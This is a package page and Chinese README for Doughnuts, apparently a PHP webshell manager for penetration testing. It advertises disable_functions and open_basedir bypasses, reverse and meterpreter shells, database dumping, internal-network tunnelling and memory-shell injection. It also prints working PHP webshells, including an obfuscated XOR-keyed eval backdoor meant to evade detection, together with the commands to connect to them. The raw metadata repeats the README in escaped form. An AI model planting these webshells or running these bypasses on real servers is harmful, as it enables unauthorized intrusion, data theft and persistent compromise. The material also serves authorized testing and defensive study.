# Doughnuts
*一个基于Python3.6+的PHPwebshell管理器*
<p align="center">
<a target="_blank" href="https://github.com/Stakcery/MagicStick">
<img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
</a>
<a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
<img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
</a>
<a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
<img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
</a>
<a target="_blank" href="https://github.com/Stakcery/MagicStick">
<img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
</a>
<a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&utm_medium=referral&utm_content=WAY29/Doughnuts&utm_campaign=Badge_Grade">
<img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
</a>
</p>
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)
![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)
## 使用文档
~~终于迎来了新的使用文档!~~
***文档中许多内容已经过期,请以新版为准***
详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。
## 特征
- 支持连接,记录,管理webshell,方便下一次连接
- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
- **请求与响应伪装**
- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
- **支持绕过open_basedir**
- **支持多种方式绕过disable_functions**
- 自动识别
- php7-backtrace
- php7-gc
- php7-json
- php7-splDoublyLinkedList
- LD_PRELOAD
- FFI
- COM
- imap_open
- MYSQL-UDF
- fpm(支持四种攻击方式,sock和端口的攻击方式)
- apache-mod-cgi
- iconv
- FFI-php_exec
- php7-reflectionProperty
- user_filter
- 核心功能
- 获取网站,系统,进程信息
- 输出disbale_functions
- 寻找可写的PHP文件(以树状结构显示)
- 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
- 执行自定义的php代码
- 获取一个临时的非完全交互式shell和webshell
- 正向/反弹shell
- 可以支持弹meterpreter的shell(php代码实现)
- (仅限双方均为*unix)获取完全交互式的反弹shell
- 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
- 数据库管理,临时的sql-shell,数据dump,分段dump
- **端口扫描**
- **出网检测**
- **集成neo-regeorg,一键开启socks5服务器**
- 内网网页文本式浏览代理,可自定义请求方法和数据
- 检测suid文件并给出提权建议 / 检测杀毒软件
- 易于扩展
## 依赖
- Python3.6+
- Python-requests
- Python-pysocks
- Python-colorama
- Python-prettytable
## 安装/运行方法
***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***
- 使用pip安装
```sh
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
```
- 通过poetry安装
```sh
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
```
- 直接安装
```sh
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
```
- 使用docker
```bash
# 启动一个doughnuts容器
docker run --name doughnuts -itd longlone/doughnuts
# 执行doughnuts容器的bash
docker exec -it doughnuts bash
# 在容器中运行doughnuts,这样你可以存储webshell记录等
doughnuts
# 或者直接执行doughnuts
docker run --rm -it longlone/doughnuts:cli
```
## 使用例子
*由于windows原因,在windows命令行连接下不支持&符号连接参数。
尽量将额外参数包裹引号进行传递,且逐一拆分。
好的习惯:"data:a=123" "data:b=456"
坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*
1. 普通webshell:
- 最平凡的webshell:
```php
//test1.php
<?php
error_reporting(0);
eval($_POST['2333']);
?>
```
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
```
connect http://localhost/test1.php POST 2333
```
- 带解码的webshell:
```php
//test2.php
<?php
error_reporting(0);
eval(str_rot13(base64_decode($_REQUEST['2333'])));
?>
```
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
```
connect http://localhost/test2.php POST 2333 rot13 base64
```
- 需要额外参数与解码的webshell:
```php
//test3.php
<?php
if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){ // a=123
@eval(base64_decode($_POST['2333']));
}
```
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
```
connect http://localhost/test.php POST 2333 base64 "data:a=123"
```
2. 生成webshell:
1. 运行doughnuts
2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell
## 自定义编码器
1. 进入doughnuts/encode目录
2. 新建/拷贝一个py文件,起一个名字,以time.py为例
3. 文件中只需要写一个run函数,类似于
```python
from libs.config import alias
@alias(True)
def run(data: str):
cipher = data
return cipher
```
4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
6. 一个例子,以时间为秘钥的编码器
```python
from libs.config import alias
from hashlib import md5
from base64 import b64encode
import time
@alias(True)
def run(data: str):
format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
key = md5(format_time.encode()).hexdigest().encode()
data = data.encode()
cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
cipher = b64encode(cipher).decode()
return cipher
```
对应的php webshell
```php
<?php
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
```
## 自定义webshell模板
1. 进入doughnuts/webshell_plugins目录
2. 新建/拷贝一个py文件,起一个名字,以test.py为例
3. 文件中只需要写一个get_php函数,类似于
```python
def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
...
```
4. 各个参数解释
- keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
- passwd是连接webshell的密码
- salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell
## 参考
- https://github.com/WangYihang/Webshell-Sniper
- https://github.com/epinna/weevely3
## 更新日志
### 4.24.0
- 4.24.0
- 新增功能
- memshell: 通过交互式操作注入php内存马,仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
- 优化
- 优化bdf-fpm的逻辑,修复一些bug
### 4.23.0
- 4.23.0
- 新增功能
- bdf-php-concat_function: 对应数字17,详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
- 4.23.1
- 修复bug
- connect: 某些webshell无法连接的问题 (出现 IndexError)
- cat: 在使用DOMDocument读取文件时没有base64解码的错误
- portscan: 无法使用的问题
- upload: 使用file_put_contents上传文件时错误的问题
- 4.23.2
- 修复bug
- 在linux下调用vi编辑器会导致无法写入的问题
- webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
- 4.23.3
- 修复bug
- upload无法使用的bug
- 在艰难环境下连接webshell的优化
### 4.22.0
- 4.22.0
- 新增功能
- extension
- 查看当前php所装扩展
- 优化功能
- 去除安装脚本中部分多余代码
- 用随机字符标识替代原先固定标识符的webshell是否存活检测
- 现在输入完整命令后按方向键(→)或tab显示候选参数
- 现在会根据自带的base64函数是否可用自动补上base64函数头
- cat
- 现在会根据情况自动选择读取文件方式
- write
- 现在会根据情况自动选择写入文件方式
- 重构代码
- 在libs目录中加上如functions/[插件目录]/[插件函数]形式,便于插件可读性的提高
- 对myapp.py中大部分php代码进行包装转移
- 对connect.py中部分php代码进行包装转移
- 对webshell_plugins内大部分插件的php代码进行包装转移
- 修复bug
- readline:
- 在自动补全参数时有可能会重复补全命令的错误
- 无法对general中命令参数进行自动补全的错误
- 有关debug代码部分的错误
- 更正部分文本错误,去除部分多余代码
### 4.21.0
- 4.21.0
- 新增功能
- bdf-shellshock: 对应数字16,Bash破壳(CVE-2014-6271)漏洞
- 修复bug
- bdf-fpm:
在某些情况下误判目标并不是使用fpm启动,现在解除这个限制,由使用者自己决定
### 4.20.0
- 4.20.0
- 新增特性
- 在极端环境下连接webshell
- 新增功能
- bdf: 12-iconv 增加bypass函数
### 4.19.0
- 4.19.0
- 新增功能
- bdf: 新增user_filter模式,适用于7.0-8.0所有版本
### 4.18.0
- 4.18.0
- 修复bug
- proxy: 可能失效的问题
- db_shell: 命令重复执行
- 优化功能
- upload
- 使用$_FILES上传失败时显示失败原因
- socks
- windows下http path的默认值使用/替换\
- 新增功能
- db_exec
- 启动编辑器执行任意sql语句
- 4.18.1
- 修复bug
- db_mdump
- 重试无效的问题
- 线程不安全导致dump的数据不全或重复的问题
- 数据为空时与数据类型不匹配的问题,将''替换为null
- 4.18.2
- 修复bug
- mdownload
- 重试后无论如何都显示下载失败
- 优化功能
- 使用自定义的函数获取php配置选项的值,而非ini_get
- getenv
- 使用自定义的函数获取php配置选项的值,而非ini_get
- mdownload
- 添加hash验证
- 增加提示
- 使用临时文件而非内存存储chunk
- 请求: 添加重试次数2
- 4.18.3
- 修复bug
- mdownload,download在下载时会创建文件夹
- write写入文件名错误
- edit编辑文件时为空
- README
- 添加shields
### 4.17
- 4.17.0
- 添加说明
- bdf: 补充4.15新增的fpm-ftp模式的说明
- 新增功能
- bdf-fpm:
- (实验性功能,不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果,可以用于绕过open_basedir等限制,暂不支持ftp模式
- system:
- 若命令以&结尾,则会将其起新线程挂在后端执行
### 4.16
- 4.16.0
- 优化功能
- socks
- 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
- 支持在fsockopen被禁用时使用pfsockopen
- 更改说明,只支持5.4.0及以上版本
- 新增功能
- phpinfo
- 调用默认浏览器显示phpinfo信息
- 修复bug
- bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
- 修复某些命令会输出debug消息的bug
- fwpf无法生效
- connect时额外参数有多个:或者=号时程序异常
- download,mdownload:指定文件保存名时认为是目录的bug
- 4.16.1
- 优化功能
- 删除generate的非交互输出
- 修改reverse的文档,windows-php不建议使用
- connect:假如ini_get被禁用也能够链接
- bdf-10-fpm
- http_sock: 支持stream_socket_client函数作为备用
- ftp: 新增ftp模式,通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
### 4.15
- 4.15.0
- 修改别名
socks -> old_socks
- 新增功能
- bdf
- 增加FFI-php_exec, php7-reflectionProperty模式
- outnetwork
- 快速检查目标机器是否能出网
- socks
- 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
- 修改输出
write
- 修复bug
- 无法使用参数短别名
- requirements.txt中的urllib3版本修改为1.26.5
- 4.15.1
- 修改bug
- ps命令在无法读取/proc目录时没有输出报错
- execute,write,edit无法使用自定义编辑器或报错
- 修改输出
- touch
- 优化功能
- execute,write,edit
- 现在编辑一个临时的php文件而非无后缀文件
- 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
- 当使用code(即vscode)时会自动添加--wait参数
### 4.14
- 4.14.0
- 新增功能
- bdf
- 增加iconv模式
- 修复bug
- edit, upload
- bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
- 4.14.1
- 4.14.2
- 修复bug
- 在Python3.9中报错
-bindshell, remp, reverse, socks
- gululingbo模板生成的webshell没有php头
- log命令默认参数时提示File path is invalid
- 4.14.3
- 修复bug
- 在windows下连接使用额外参数时错误
- ls显示带有空格文件名的文件的时候显示不全
- 删除特性
- 不再能从外部使用connect命令
### 4.13
- 4.13.0
- 新增功能
- bdf
- 增加apache-mod-cgi模式
- 4.13.1
- 修复bug
- iconv.c源码
### 4.12
- 4.12.0
- 新增功能
- bdf
- 修改ld_preload部分,重构代码,支持x86 linux
- 为udf部分切割代码
- reverse
- 修改默认反弹类型,默认会根据目标系统选择powershell/bash
- 添加bash_exec类型,使用exec和管道符实现
- search
- 添加别名find, 最后结果以绝对路径显示
- remp
- 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
- upload
- 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
- 修复bug
upload
- 添加注释
bdf, reverse, av, checkvm
- 修改帮助文档
bdf, reverse, bobd, search, upload
- 重构代码
search, bdf, upload
- 修改分类
- verbose general->COMMON
### 4.11
- 4.11.0
- 修改命令
- bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
现在支持三种attack_type: gopher,sock,http_sock
- gopher: 使用curl扩展与gopher协议攻击fpm端口
- sock: 使用stream_socket_client攻击fpm-sock
- http_sock: 使用fsockopen,pfsockopen连接fpm端口
- 4.11.1
- 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
- 4.11.2
- 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
### 4.10
- 4.10.0
- 修改命令
- touch命令 支持windows,不再调用系统命令去实现
- 4.10.1-3(废弃版本)
- 4.10.4
- 添加缺少的依赖到requirements.txt: six
- 4.10.5
- 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
### 4.9
- 4.9.0
- 修改核心
- 添加custom_plugins目录,用于存放用户自己编写的插件
- 添加config.ini文件,用于配置相关参数
- 4.9.1
- 修复在pypi版本与github版本不一致的问题
- 4.9.2
- 4.9.3, 4.9.4
- 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug
### 4.8
- 4.8.0
- 修改命令
- generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
- 4.8.1
- 优化代码结构
- 优化doughnuts加密算法
- 修复enrecv不存在的问题
### 4.7
- 4.7.0
- 修改命令
- remp命令 修改php模式的payload,添加bash和python的payload
- bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)
### 4.6
- 4.6.0
- 添加命令
- verbose命令 用于开启/关闭提示符的详细信息显示
### 4.5
- 添加命令
- enrecv命令 用于随时开启/关闭回显加密
- remp命令 可以简易的弹一个meterpreter的shell
- 修复bug
- 修复回显加密在弹shell时可能会出现解码错误的问题
- 4.5.1
- 现在使用随机字符作为连接是否成功的判断以防特征检测
- 4.5.2
- 添加命令
- mkdir命令 创建文件夹
- rmdir命令 删除空文件夹
### 4.4
- 修改核心
- 使用算法将回显加密
- 4.4.1
- 修复bug
- **回显加密在php5会出错**
- 4.4.2
- 修改命令
- touch命令 提示修改
- ps命令 提示修改,只允许在*unix目标上运行
- 修复bug
- 曾导致在linux下调用vi编辑器失败
### 4.3
- 修改命令
- portscan去除短名ps, 修改显示结果,变得更加可读
- bobd支持在ini_set被禁用时使用ini_alter
- bdf php7-backtrace 添加在Exception类被禁用后使用Error类
- 添加命令
- copy命令 用于复制文件
- ps命令 类似于linux下的ps命令,用于读取系统进程信息
- 修复bug
- 在back返回主菜单后清理mysql连接记录
### 4.2
- 修改结构
- myapp尝试丢弃webshell执行代码之前的输出
- 添加命令
- mdownload命令 用于分块下载文件
- 修改命令
- mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
- 修复bug
- 修复mdownload, mupload没有ls后补全的问题
- 新增依赖
- tqdm
- 4.2.1
- 修改命令
- db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义
### 4.1
- 修改结构
- 新建插件时不再需要更改helpmenu.py
### 4.0
- 修改命令
- 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
- 修复当使用pdo扩展链接数据库时无法db_dump的问题
- 修复某些文本错误
- db_dump命令
- 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
- 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
- dump命令
- 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
- 添加命令
- db_mdump命令 用于分块dump数据库
- 4.0.1
- 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
- 4.0.2
- 修复了db_mdump数据重复的问题
- 4.0.3
- 删除测试输出,删除db_mdump中DROP DATABASE语句
## 免责声明
本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.
Raw data
{
"_id": null,
"home_page": "https://github.com/way29/doughnuts",
"name": "doughnuts",
"maintainer": "",
"docs_url": null,
"requires_python": ">=3.6,<4.0",
"maintainer_email": "",
"keywords": "",
"author": "WAY29",
"author_email": "toloveu29@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/98/f4/8b707d9175f2890d15be3038a9d1244977adff8aa98b20411c36c44bac29/doughnuts-4.24.2.tar.gz",
"platform": null,
"description": "# Doughnuts\n\n*\u4e00\u4e2a\u57fa\u4e8ePython3.6+\u7684PHPwebshell\u7ba1\u7406\u5668*\n\n\n<p align=\"center\">\n <a target=\"_blank\" href=\"https://github.com/Stakcery/MagicStick\">\n <img alt=\"\" src=\"https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat\"/>\n </a>\n <a target=\"_blank\" href=\"https://github.com/WAY29/Doughnuts/blob/master/LICENSE\">\n <img alt=\"\" src=\"https://img.shields.io/badge/license-MIT-green\"/>\n </a>\n <a target=\"_blank\" href=\"https://github.com/php/php-src/tree/PHP-7.0.0\">\n <img alt=\"\" src=\"https://img.shields.io/badge/python-%5E3%2e6-blue\"/>\n </a>\n <a target=\"_blank\" href=\"https://github.com/Stakcery/MagicStick\">\n <img alt=\"\" src=\"https://img.shields.io/github/watchers/WAY29/Doughnuts\"/>\n </a>\n <a target=\"_blank\" href=\"https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&utm_medium=referral&utm_content=WAY29/Doughnuts&utm_campaign=Badge_Grade\">\n <img alt=\"\" src=\"https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3\"/>\n </a>\n</p>\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)\n\n## \u4f7f\u7528\u6587\u6863\n\n~~\u7ec8\u4e8e\u8fce\u6765\u4e86\u65b0\u7684\u4f7f\u7528\u6587\u6863\uff01~~\n\n***\u6587\u6863\u4e2d\u8bb8\u591a\u5185\u5bb9\u5df2\u7ecf\u8fc7\u671f\uff0c\u8bf7\u4ee5\u65b0\u7248\u4e3a\u51c6***\n\n\u8be6\u7ec6\u4f7f\u7528\u6587\u6863\u8bf7\u524d\u5f80[\u6b64\u9875\u9762](https://doughnuts3.gitbook.io/)\u8fdb\u884c\u67e5\u770b\u3002\n\n## \u7279\u5f81\n\n- \u652f\u6301\u8fde\u63a5,\u8bb0\u5f55,\u7ba1\u7406webshell,\u65b9\u4fbf\u4e0b\u4e00\u6b21\u8fde\u63a5\n- \u57fa\u4e8eeval\u7684\u8fde\u63a5,\u652f\u6301GET,POST,COOKIE,HEADER\u56db\u79cd\u8fde\u63a5\u65b9\u5f0f\n- **\u8bf7\u6c42\u4e0e\u54cd\u5e94\u4f2a\u88c5**\n- \u652f\u6301\u7f16\u7801payload(\u5df2\u5185\u7f6ebase64,str_rot13,hex,doughnuts\u56db\u79cd\u7f16\u7801,\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0encode\u6587\u4ef6\u5939\u4e2d\u7684py\u6587\u4ef6\u8fdb\u884c\u6269\u5c55),\u4ee5\u5b9e\u73b0\u8fde\u63a5\u5e26\u6709\u89e3\u7801\u7684webshell\n- **\u652f\u6301\u7ed5\u8fc7open_basedir**\n- **\u652f\u6301\u591a\u79cd\u65b9\u5f0f\u7ed5\u8fc7disable_functions**\n - \u81ea\u52a8\u8bc6\u522b\n - php7-backtrace\n - php7-gc\n - php7-json\n - php7-splDoublyLinkedList\n - LD_PRELOAD\n - FFI\n - COM\n - imap_open\n - MYSQL-UDF\n - fpm(\u652f\u6301\u56db\u79cd\u653b\u51fb\u65b9\u5f0f\uff0csock\u548c\u7aef\u53e3\u7684\u653b\u51fb\u65b9\u5f0f)\n - apache-mod-cgi\n - iconv\n - FFI-php_exec\n - php7-reflectionProperty\n - user_filter\n- \u6838\u5fc3\u529f\u80fd\n - \u83b7\u53d6\u7f51\u7ad9,\u7cfb\u7edf,\u8fdb\u7a0b\u4fe1\u606f\n - \u8f93\u51fadisbale_functions\n - \u5bfb\u627e\u53ef\u5199\u7684PHP\u6587\u4ef6(\u4ee5\u6811\u72b6\u7ed3\u6784\u663e\u793a)\n - \u5bfb\u627e\u914d\u7f6e\u6587\u4ef6(\u6587\u4ef6\u540d\u4e2d\u5305\u542bcfg/config/db/database) \u4e5f\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u4ee3\u7801\u6765\u652f\u6301\u5bfb\u627e\u66f4\u591a\u7684\u6587\u4ef6(\u4ee5\u6811\u72b6\u7ed3\u6784\u663e\u793a)\n - \u6267\u884c\u81ea\u5b9a\u4e49\u7684php\u4ee3\u7801\n - \u83b7\u53d6\u4e00\u4e2a\u4e34\u65f6\u7684\u975e\u5b8c\u5168\u4ea4\u4e92\u5f0fshell\u548cwebshell\n - \u6b63\u5411/\u53cd\u5f39shell\n - \u53ef\u4ee5\u652f\u6301\u5f39meterpreter\u7684shell(php\u4ee3\u7801\u5b9e\u73b0)\n - (\u4ec5\u9650\u53cc\u65b9\u5747\u4e3a*unix)\u83b7\u53d6\u5b8c\u5168\u4ea4\u4e92\u5f0f\u7684\u53cd\u5f39shell\n - \u8bfb/\u5199/\u4e0a\u4f20/\u4e0b\u8f7d/\u5220\u9664/\u641c\u7d22\u6587\u4ef6,\u76ee\u5f55\u6253\u5305,\u5206\u6bb5\u6587\u4ef6\u4e0a\u4f20/\u4e0b\u8f7d\n - \u6570\u636e\u5e93\u7ba1\u7406,\u4e34\u65f6\u7684sql-shell,\u6570\u636edump,\u5206\u6bb5dump\n - **\u7aef\u53e3\u626b\u63cf**\n - **\u51fa\u7f51\u68c0\u6d4b**\n - **\u96c6\u6210neo-regeorg\uff0c\u4e00\u952e\u5f00\u542fsocks5\u670d\u52a1\u5668**\n - \u5185\u7f51\u7f51\u9875\u6587\u672c\u5f0f\u6d4f\u89c8\u4ee3\u7406\uff0c\u53ef\u81ea\u5b9a\u4e49\u8bf7\u6c42\u65b9\u6cd5\u548c\u6570\u636e\n - \u68c0\u6d4bsuid\u6587\u4ef6\u5e76\u7ed9\u51fa\u63d0\u6743\u5efa\u8bae / \u68c0\u6d4b\u6740\u6bd2\u8f6f\u4ef6\n- \u6613\u4e8e\u6269\u5c55\n\n## \u4f9d\u8d56\n\n- Python3.6+\n- Python-requests\n- Python-pysocks\n- Python-colorama\n- Python-prettytable\n\n## \u5b89\u88c5/\u8fd0\u884c\u65b9\u6cd5\n\n***\u8bf7\u57283.2\u7248\u672c\u4e4b\u524d\u8fd0\u884c\u8fc7`python3 -m doughnuts.install`\u5b89\u88c5\u7684\u670b\u53cb\u5728\u66f4\u65b03.2\u7248\u672c\u4e4b\u540e\u91cd\u65b0\u6267\u884c\u6b64\u547d\u4ee4!***\n\n- \u4f7f\u7528pip\u5b89\u88c5\n\n```sh\n# \u5b89\u88c5\npython3 -m pip install doughnuts --user -i https://pypi.org/simple/\n# (windows)\u6dfb\u52a0\u4e00\u4e2abat\u6587\u4ef6\u5230python\u6839\u76ee\u5f55\u4e0b\n# (*unix)\u6dfb\u52a0\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u5230/usr/local/bin\u4e0b\n# \u5b89\u88c5\u542f\u52a8\u5668,\u4ee5\u65b9\u4fbf\u8c03\u7528\npython3 -m doughnuts.install\n# \u8fd0\u884c\ndoughnuts\n# \u6216\npython3 -m doughnuts\n# enjoy it!\n```\n\n- \u901a\u8fc7poetry\u5b89\u88c5\n\n```sh\npyton3 -m pip install poetry # \u6216\u5176\u4ed6\u65b9\u6cd5\u5b89\u88c5python-poetry\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts\n# debian/ubuntu\u7cfb\u7edf\u9700\u8981\u8fd0\u884c\u6b64\u547d\u4ee4\napt-get install python3-venv\n# \u5b89\u88c5\npoetry install\n# \u8fd0\u884c\npoetry run python3 Doughnuts/doughnuts.py # \u5e94\u8be5\u5bf9\u6240\u6709\u7cfb\u7edf\u751f\u6548\n# enjoy it!\n```\n\n- \u76f4\u63a5\u5b89\u88c5\n\n```sh\n# \u5b89\u88c5PYTHON 3.6+\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts/doughnuts\npip3 install -r requirements.txt \u6216 pip3 install requests pysocks colorama prettytable tqdm\n# (windows)\u6dfb\u52a0\u4e00\u4e2abat\u6587\u4ef6\u5230python\u6839\u76ee\u5f55\u4e0b\n# (*unix)\u6dfb\u52a0\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u5230/usr/local/bin\u4e0b\n# \u5b89\u88c5\u542f\u52a8\u5668,\u4ee5\u65b9\u4fbf\u8c03\u7528\npython3 install.py\n# \u8fd0\u884c\ndoughnuts\n# \u6216\npython3 doughnuts.py\n# enjoy it!\n```\n\n- \u4f7f\u7528docker\n\n```bash\n# \u542f\u52a8\u4e00\u4e2adoughnuts\u5bb9\u5668\ndocker run --name doughnuts -itd longlone/doughnuts\n# \u6267\u884cdoughnuts\u5bb9\u5668\u7684bash\ndocker exec -it doughnuts bash\n# \u5728\u5bb9\u5668\u4e2d\u8fd0\u884cdoughnuts,\u8fd9\u6837\u4f60\u53ef\u4ee5\u5b58\u50a8webshell\u8bb0\u5f55\u7b49\ndoughnuts\n\n# \u6216\u8005\u76f4\u63a5\u6267\u884cdoughnuts\ndocker run --rm -it longlone/doughnuts:cli\n```\n\n## \u4f7f\u7528\u4f8b\u5b50\n\n*\u7531\u4e8ewindows\u539f\u56e0\uff0c\u5728windows\u547d\u4ee4\u884c\u8fde\u63a5\u4e0b\u4e0d\u652f\u6301&\u7b26\u53f7\u8fde\u63a5\u53c2\u6570\u3002\n\u5c3d\u91cf\u5c06\u989d\u5916\u53c2\u6570\u5305\u88f9\u5f15\u53f7\u8fdb\u884c\u4f20\u9012\uff0c\u4e14\u9010\u4e00\u62c6\u5206\u3002\n\u597d\u7684\u4e60\u60ef:\"data:a=123\" \"data:b=456\"\n\u574f\u7684\u4e60\u60ef:\"data:a=123&b=456\" (\u5728windows\u547d\u4ee4\u884c\u4e0b\u4f1a\u8fde\u63a5\u5931\u8d25)*\n\n1. \u666e\u901awebshell:\n\n - \u6700\u5e73\u51e1\u7684webshell:\n\n ```php\n //test1.php\n <?php\n error_reporting(0);\n eval($_POST['2333']);\n ?>\n ```\n \u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n ```\n connect http://localhost/test1.php POST 2333\n ```\n \n - \u5e26\u89e3\u7801\u7684webshell:\n\n ```php\n //test2.php\n <?php\n error_reporting(0);\n eval(str_rot13(base64_decode($_REQUEST['2333'])));\n ?>\n ```\n \u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n \n ```\n connect http://localhost/test2.php POST 2333 rot13 base64\n ```\n \n - \u9700\u8981\u989d\u5916\u53c2\u6570\u4e0e\u89e3\u7801\u7684webshell:\n\n ```php\n //test3.php\n <?php\n if(@md5($_POST['a']) == \"202cb962ac59075b964b07152d234b70\"){ // a=123\n \t@eval(base64_decode($_POST['2333']));\n }\n ```\n\n 